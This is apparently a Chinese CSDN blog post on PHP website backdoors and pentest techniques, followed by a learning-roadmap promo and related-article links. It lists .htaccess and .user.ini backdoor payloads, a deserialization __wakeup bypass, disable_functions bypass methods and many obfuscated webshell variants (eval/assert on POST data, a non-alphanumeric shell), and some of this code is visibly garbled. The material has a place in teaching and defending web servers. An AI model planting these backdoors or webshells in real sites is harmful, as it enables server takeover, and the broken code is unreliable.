php网站后门漏洞检测 渗透测试木马解决

于 2025-02-27 16:21:06 发布
阅读量1.1k 收藏 8
点赞数 44
文章标签： php android 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/hacker_laoyi/article/details/145907335
版权

php网站后门漏洞检测 渗透测试木马解决

分类专栏： 网站安全漏洞检测 网站渗透测试 渗透测试 文章标签： php安全检测 网站漏洞扫描 网站安全防护 php代码渗透测试 网站安全测试漏洞
版权
很多想做渗透测试的朋友都想了解关于PHP后门漏洞的安全测试重点方法,以及该如何预防被中php后门，本节由我们的Sine安全高级渗透工程师进行全面的讲解,来让大家更好的理解和了解php代码的安全检测,让网站得到最大化的安全保障,安全保障了,网站才能更长远的运行下去。

php网站后门漏洞检测 渗透测试木马解决_Java

4.1.1. 后门

4.1.1.1. php.ini构成的后门

利用 auto_prepend_file 和 include_path

4.1.1.2. .htaccess后门

php_value auto_append_file .htaccess

#<?php phpinfo();

php_flag allow_url_include 1

php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==

#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B

4.1.1.3. .user.ini文件构成的PHP后门

.user.ini可运行于所有以fastcgi运行的server。利用方式同php.in

4.1.2. 反序列化

4.1.2.1. PHP序列化实现

PHP序列化处理共有三种，分别为php_serialize、php_binary和 WDDX，默认为php_serialize，可通过配置中的 session.serialize_handler 修改。

其中php_serialize的实现在 php-src/ext/standard/var.c 中，主要函数为 php_var_serialize_intern ，序列化后的格式如下：

  • boolean
  • b:<value>;
  • b:1; // true
  • b:0; // false
  • integer
  • i:<value>;
  • double
  • d:<value>;
  • NULL
  • N;
  • string
  • s:<length>:“<value>”;
  • s:1:“s”;
  • array
  • a:<length>:{key, value};
  • a:1:{s:4:“key1”;s:6:“value1”;} // array(“key1” => “value1”);
  • object
  • O:<class_name_length>:"<class_name><number_of_properties>:{<properties>};
  • reference
  • 指针类型
  • R:reference;
  • O:1:“A”:2:{s:1:“a”;i:1;s:1:“b”;R:2;}
  • a = new A();a=newA();a->a=1;a->b=&a->a;

4.1.2.2. PHP反序列化漏洞

php在反序列化的时候会调用 __wakeup / __sleep 等函数，可能会造成代码执行等问题。若没有相关函数，在析构时也会调用相关的析构函数，同样会造成代码执行。

另外 __toString / __call 两个函数也有利用的可能。

其中 __wakeup 在反序列化时被触发，__destruct 在GC时被触发， __toString 在echo时被触发, __call 在一个未被定义的函数调用时被触发。

下面提供一个简单的demo.

利用 auto_prepend_file 和 include_path

输出

construct

Data’s value is raw value.

destruct

string(44) “O:4:“Demo”:1:{s:4:“data”;s:9:“raw value”;}”

把序列化的字符串修改一下后，执行

unserialize(‘O:4:“Demo”:1:{s:4:“data”;s:15:“malicious value”;}’);

输出

wake up

Data’s value is malicious value.

destruct

这里看到，值被修改了.

上面是一个 unserialize() 的简单应用，不难看出，如果 __wakeup() 或者 __desturct() 有敏感操作，比如读写文件、操作数据库，就可以通过函数实现文件读写或者数据读取的行为。

那么，在 __wakeup() 中加入判断是否可以阻止这个漏洞呢？在 __wakeup() 中我们加入一行代码

php网站后门漏洞检测 渗透测试木马解决_Java_02

但其实还是可以绕过的，在 PHP5 < 5.6.25， PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时，wakeup就会被绕过，于是使用下面的payload

unserialize(‘O:7:“HITCON”:1:{s:4:“data”;s:15:“malicious value”;}’);

输出

Data’s value is malicious value.

destruct

这里wakeup被绕过，值依旧被修改了。

4.1.3. Disable Functions

php网站后门漏洞检测 渗透测试木马解决_Java_03

4.1.3.1. 机制实现

PHP中Disable Function的实现是在php-src/Zend/Zend-API.c中。PHP在启动时，读取配置文件中禁止的函数，逐一根据禁止的函数名调用 zend_disable_function 来实现禁止的效果。

这个函数根据函数名在内置函数列表中找到对应的位置并修改掉，当前版本的代码如下：

php网站后门漏洞检测 渗透测试木马解决_Java_04

和函数的实现方式类似，disable classes也是这样实现的

php网站后门漏洞检测 渗透测试木马解决_Java_05

因为这个实现机制的原因，在PHP启动后通过 ini_set 来修改 disable_functions 或 disable_classes 是无效的。

4.1.3.2. Bypass

  • LD_PRELOAD绕过
  • PHP OPcache
  • Mail函数
  • imap_open

4.1.4. Open Basedir

4.1.4.1. 机制实现

PHP中Disable Function的实现是在php-src/main/fopen-wrappers.c中，实现方式是在调用文件等相关操作时调用函数根据路径来检查是否在basedir内，其中一部分实现代码如下：

PHPAPI int php_check_open_basedir_ex(const char *path, int warn)

{
/* Only check when open_basedir is available */

if (PG(open_basedir) && *PG(open_basedir)) {
char *pathbuf;

char *ptr;

char *end;

/* Check if the path is too long so we can give a more useful error

  • message. */

if (strlen(path) > (MAXPATHLEN - 1)) {
php_error_docref(NULL, E_WARNING, “File name is longer than the maximum allowed path length on this platform (%d): %s”, MAXPATHLEN, path);

errno = EINVAL;

return -1;

}

pathbuf = estrdup(PG(open_basedir))

ptr = pathbuf;

while (ptr && *ptr) {
end = strchr(ptr, DEFAULT_DIR_SEPARATOR);

if (end != NULL) {
*end = ‘\0’;

end++;

}

if (php_check_specific_open_basedir(ptr, path) == 0) {
efree(pathbuf);

return 0;

}

ptr = end;

}

if (warn) {
php_error_docref(NULL, E_WARNING, “open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)”, path, PG(open_basedir));

}

efree(pathbuf);

errno = EPERM; /* we deny permission to open it */

return -1;

}

/* Nothing to check… */

return 0;

}

4.1.5. phpinfo相关漏洞

4.1.5.1. Session.Save

PHP的Session默认handler为文件，存储在 php.ini 的 session.save_path 中，若有任意读写文件的权限，则可修改或读取session。从phpinfo中可获得session位置

4.1.5.2. Session.Upload

php.ini默认开启了 session.upload_progress.enabled ， 该选项会导致生成上传进度文件，其存储路径可以在phpinfo中获取。

那么可以构造特别的报文向服务器发送，在有LFI的情况下即可利用。

4.1.5.3. /tmp临时文件竞争

phpinfo中可以看到上传的临时文件的路径，从而实现LFI

4.1.6. htaccess injection payload

4.1.6.1. file inclusion

利用 auto_prepend_file 和 include_path

4.1.6.2. code execution

php_value auto_append_file .htaccess

#<?php phpinfo();

4.1.6.3. file inclusion

php_flag allow_url_include 1
php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file /evil-code.txt

4.1.6.4. code execution with UTF-7

php_flag zend.multibyte 1

php_value zend._encoding “UTF-7”

php_value auto_append_file .htaccess

#+ADw?php phpinfo()+ADs

4.1.6.5. Source code disclosure

php_flag engine 0

4.1.7. WebShell

4.1.7.1. 常见变形
  • GLOBALS
  • eval（$GLOBALS[‘_POST’][‘op’]);
  • $_FILE
  • eval（$_FILE[‘name’]);
  • 拆分
  • assert(${“_PO”.“ST”} [‘sz’]);
  • 动态函数执行
  • $k=“ass”.“ert”; k(k({“_PO”.“ST”} [‘sz’]);
  • create_function
  • function = create_function('function=createf​unction(′code’,strrev(‘lave’).‘(’.strrev('TEG_').'["code"]);');′).′["code"]);′);function();
  • preg_replace
  • rot13
  • 进制转化
  • “\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145”
  • 利用文件名
    FILE

4.1.7.2. 字符串变形函数

  • ucwords
  • ucfirst
  • trim
  • substr_replace
  • substr
  • strtr
  • strtoupper
  • strtolower
  • strtok
  • str_rot13

4.1.7.3. 回调函数

  • call_user_func_array
  • call_user_func
  • array_filter
  • array_walk
  • array_map
  • registregister_shutdown_function
  • register_tick_function
  • filter_var
  • filter_var_array
  • uasort
  • uksort
  • array_reduce
  • array_walk
  • array_walk_recursive

4.1.7.4. 特殊字符Shell

PHP的字符串可以在进行异或、自增运算的时候，会直接进行运算，故可以使用特殊字符来构成Shell。

@$_++;

$__=(“#”“|”).(“.”“~”).(“/”“`”).(“|”“/”).(“{”^“/”);

@{__}[!_](]​({__}[_]);

$_=[];

_=@"=​@""; // $=‘Array’;

_==​[‘!’==‘@’]; // _==​[0];

___=_; // A

__=_;

__++;++;__++;;__++;__;__++;++;__++;;__++;__;__++;++;__++;;__++;__;

___.=__; // S

___.=__; // S

__=_;

__++;++;__++;++; // E

___.=__;

__=_; __++;++;__++;;__++;__;__++;++;__++;;__++;__;__++;++;__++;;$__; // R

___.=__;

__=_;__++;++;__++;;__++;__;__++;++;__++;;__++;__;__++;++;__++;;__++;__;$__++; // T

___.=__;

$___='';

__=_;

__++;++;__++;;__++;__;__++;++;__++;;__++;__;__++;++;$++; // P

____.=__;

__=_;__++;++;__++;;__++;__;__++;++;__++;;__++;__;__++;__++; // O

____.=__;

__=_;

__++;++;__++;;__++;__;__++;++;__++;;__++;__;__++;++;__++;;__++;__; // S

____.=__;

__=_;

__++;++;__++;;__++;__;__++;++;__++;;__++;__;__++;++;__++;;__++;__;$__++; // T

____.=__;

_==​$____;

___(_decode([]));

4.1.8. 其它

php网站后门漏洞检测 渗透测试木马解决_Java_06

4.1.8.1. 低精度

php中并不是用高精度来存储浮点数，而是用使用 IEEE 754 双精度格式，造成在涉及到浮点数比较的时候可能会出现预期之外的错误。比如 php -r “var_dump(0.2+0.7==0.9);” 这行代码的输出是 bool(false) 而不是 bool(true)。这在一些情况下可能出现问题。

4.1.8.2. 弱类型

如果使用 == 来判断相等，则会因为类型推断出现一些预料之外的行为，比如magic hash，指当两个md5值都是 0e[0-9]{30} 的时候，就会认为两个hash值相等。另外在判断字符串和数字的时候，PHP会自动做类型转换，那么 1==“1a.php” 的结果会是true

另外在判断一些hash时，如果传入的是数组，返回值会为 NULL, 因此在判断来自网络请求的数据的哈希值时需要先判断数据类型。

同样的， strcmp() ereg() strpos() 这些函数在处理数组的时候也会异常，返回NULL。

4.1.8.3. 命令执行

preg_replace 第一个参数是//e的时候，第二个参数会被当作命令执行

4.1.8.4. 截断

PHP字符存在截断行为，可以使用 ereg / %00 / iconv 等实现php字符截断的操作，从而触发漏洞。

4.1.8.5. 变量覆盖

当使用 extract / parse_str 等函数时，或者使用php的 $$ 特性时，如果没有正确的调用，则可能使得用户可以任意修改变量。

4.1.8.6. 执行系统命令

禁用的函数可以在phpinfo中的 disable_functions 中查看

  • pcntl_exec
  • exec
  • passthru
  • popen
  • shell_exec
  • system
  • proc_open

4.1.8.7. Magic函数

  • __construct() __destruct()
  • __call() __callStatic()
  • __get() __set()
  • __isset() __unset()
  • __sleep() __wakeup()
  • __toString()
  • __invoke()
  • __set_state()
  • __clone()
  • __debugInfo()

4.1.8.8. 文件相关敏感函数

  • move_uploaded_file
  • file_put_contents / file_get_contents
  • unlink
  • fopen / fgets

4.1.8.9. php特性

  • php自身在解析请求的时候，如果参数名字中包含” “、”.”、”[“这几个字符，会将他们转换成下划线,讲了那么多渗透测试中PHP后门的安全检测方法。

 

网络安全学习路线

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供：

需要网络安全学习路线和视频教程的可以在评论区留言哦~

最后
  • 如果你确实想自学的话，我可以把我自己整理收藏的这些教程分享给你，里面不仅有web安全，还有渗透测试等等内容，包含电子书、面试题、pdf文档、视频以及相关的课件笔记，我都已经学过了，都可以免费分享给大家！

给小伙伴们的意见是想清楚，自学网络安全没有捷径，相比而言系统的网络安全是最节省成本的方式，因为能够帮你节省大量的时间和精力成本。坚持住，既然已经走到这条路上，虽然前途看似困难重重，只要咬牙坚持，最终会收到你想要的效果。

黑客工具&SRC技术文档&PDF书籍&web安全等（可分享）

结语

网络安全产业就像一个江湖，各色人等聚集。相对于欧美国家基础扎实（懂加密、会防护、能挖洞、擅工程）的众多名门正派，我国的人才更多的属于旁门左道（很多白帽子可能会不服气），因此在未来的人才培养和建设上，需要调整结构，鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”，才能解人才之渴，真正的为社会全面互联网化提供安全保障。

特别声明：
此教程为纯技术分享！本教程的目的决不是为那些怀有不良动机的人提供及技术支持！也不承担因为技术被滥用所产生的连带责任！本教程的目的在于最大限度地唤醒大家对网络安全的重视，并采取相应的安全措施，从而减少由网络安全而带来的经济损失

Hacker_LaoYi
关注
网站漏洞测试 关于webshell木马后门检测
网站安全资讯
11-07 911
前段时间我们SINE安全收到客户的渗透测试服务委托,在这之前,客户网站受到攻击,数据被篡改,要求我们对网站进行全面的渗透测试,包括漏洞的检测与测试,逻辑漏洞.垂直水平越权漏洞,文件上传漏洞.等等服务项目,在进行安全测试之前,我们对客户的网站大体的了解了一下,整个平台网站,包括APP,安卓端,I...
Kali Linux渗透测试小实践——Metasploit与后门木马
PICACHU+++的博客
01-08 3150
Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。团队合作，在Metasploit和综合报告提出了他们的发现。
php后门查询工具
11-03
php源码修改工具，欢迎分享，有需要的下载把，请大家给个好评，谢谢了
在线检测php后门,php后门简单检测脚本
weixin_36018183的博客
03-09 1450
# coding:utf-8import osimport sysimport rerulelist = ['(\$_(GET|POST|REQUEST)\[.{0,15}\]\(\$_(GET|POST|REQUEST)\[.{0,15}\]\))','(base64_decode\([\'"][\w\+/=]{200,}[\'"]\))','eval\(base64_decode\(','(e...
怎么样监测php网站漏洞,可以检测到网站的安全，是否存在漏洞等
weixin_33623304的博客
03-10 180
代码出处：http://www.haoservice.com/docs/19 无 {"resultcode":"0","reason":"Successed!", "result":{ "state":1, "webstate":1, /*网站安全等级 0:安全 1:警告 2:严重 3:危险 其他:未知*/ "msg":"警告", /*网站安全等级说明*/ "data":{ "loudong":{...
php curl header_Xcheck之PHP代码安全检查
weixin_39722375的博客
11-24 122
1 PHP安全检查引擎Xcheck的php引擎支持原生php的安全检查，也支持对国内主流框架编写的web应用进行安全检查，覆盖包括Thinkphp,Laravel,CodeIgniter,Yii,Yaf等web框架，对尚未覆盖的框架如果有需求，Xcheck也可迅速适配。覆盖漏洞类别包括但不限于以下:命令注入SQL注入XSSXXEURL跳转路径穿越反序列化代码执行变量覆盖...2 简单聊一...
渗透测试常见漏洞说明资料
weixin_51541190的博客
08-26 3534
文件上传漏洞、远程命令执行、SQL注入、sqlmap自动化测试、waf验证与绕过
Web渗透测试---Web TOP 10 漏洞
weixin_56319791的博客
10-27 6041
Web渗透测试---Web Top 10 漏洞
渗透安全测试常见漏洞分类
weixin_44945788的博客
04-01 987
LocalStorage 存储凭据。Web Service 接口泄露。XML外部实体注入(XXE)Tomcat默认管理后台暴露。HTTP头部SQL注入漏洞。SourceMap文件泄露。启用了不安全的HTTP方法。SSRF服务器端请求伪造。HTTP头跨站脚本攻击。存在测试文件或样例文件。cookie中存放密码。Git 源码信息泄露。SVN 源码信息泄露。banner信息泄露。CSRF跨站请求伪造。失效的验证码验证机制。
php网站漏洞检测safe3
03-14
safe3 一个php网站漏洞检测的工具 感觉很好用 我用它跑了我自己开发过网站，可以快速地帮助开发人员分析出程序存在的漏洞，便于有目标性的优化程序。
PHP检测本地图片是否有木马
04-20
也可以用linux服务器上的木马扫描软件，比如 Clamav 支持命令行执行的，上传之后就扫一下，最可靠， $last_line = system('php /var/bin/clamdscan upload.jpg'); 根据扫描结果就可以判断了 $rs = checkMuma("sucaihuo.png"); $tips = array( "0" => "文件没问题", "5" => "文件有毒", "-1" => "文件没有上传" );
python webshell_精确查找PHP WEBSHELL木马的方法(1)
weixin_39957186的博客
12-08 273
先来看下反引号可以成功执行命名的代码片段。代码如下：复制代码 代码如下:`ls -al`;`ls -al`;echo "sss"; `ls -al`;$sql = "SELECT `username` FROM `table` WHERE 1";$sql = 'SELECT `username` FROM `table` WHERE 1'/*无非是 前面有空白字符，或者在一行代码的结束之后，后面接...
php网站渗透实战_PHP网站安全-漏洞渗透及解决方式—概述
weixin_39992417的博客
12-19 2512
针对PHP的网站主要存在下面几种攻击方式：1、命令注入(Command Injection)2、eval注入(Eval Injection)3、客户端脚本攻击(Script Insertion)4、跨网站脚本攻击(Cross Site Scripting, XSS)5、SQL注入攻击(SQL injection)6、跨网站请求伪造攻击(Cross Site Request Forgeries, C...
PHP Malware Detector - 一个智能PHP漏洞检测工具
最新发布
gitblog_00147的博客
11-27 462
PHP Malware Detector - 一个智能PHP漏洞检测工具 php-malware-detector PHP malware detector 项目地址: https://gitcode.com/gh_mirrors...
php木马检测关键词
A11085013的专栏
06-18 1424
VBScript.Encode javaScript.Encode HKEY_LOCAL_MACHINE shell 提升权限 挂马 上传组件 system32 Serv-U #l@$ 提权 批量替换 清马 OOO000000 eval(gzinflate( eval(base64_decode( eval($_ eval copy($_FILES move_
php代码安全检测,PHP 安全检测代码片段(分享)
weixin_30959723的博客
03-21 220
PHP 安全检测代码片段(分享)2020-05-09 12:09PHP教程网 PHP教程本篇文章是对PHP安全检测代码的片段进行了详细的分析介绍，需要的朋友参考下复制代码 代码如下:/*** html转换输出(只转义' " 保留Html正常运行)* @param $param* @return string*/function htmlEscape($param) {return trim(htm...
phpcms模板嵌入php代码_代码审计之文件操作漏洞
weixin_39796868的博客
11-25 2362
文件操作包括文件包含、文件读取、文件删除、文件修改以及文件上传，这几种文件操作的漏洞有部分的相似点，但是每种漏洞都有各自的漏洞函数以及利用方式，下面我们来具体分析下它们的形成原因、挖掘方式以及修复方案。1. 文件包含漏洞PHP的文件包含可以直接执行包含文件的代码，包含的文件格式是不受限制的，只要能正常执行即可。文件包含又分为本地文件包含（local file include）和远程文件包含（rem...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值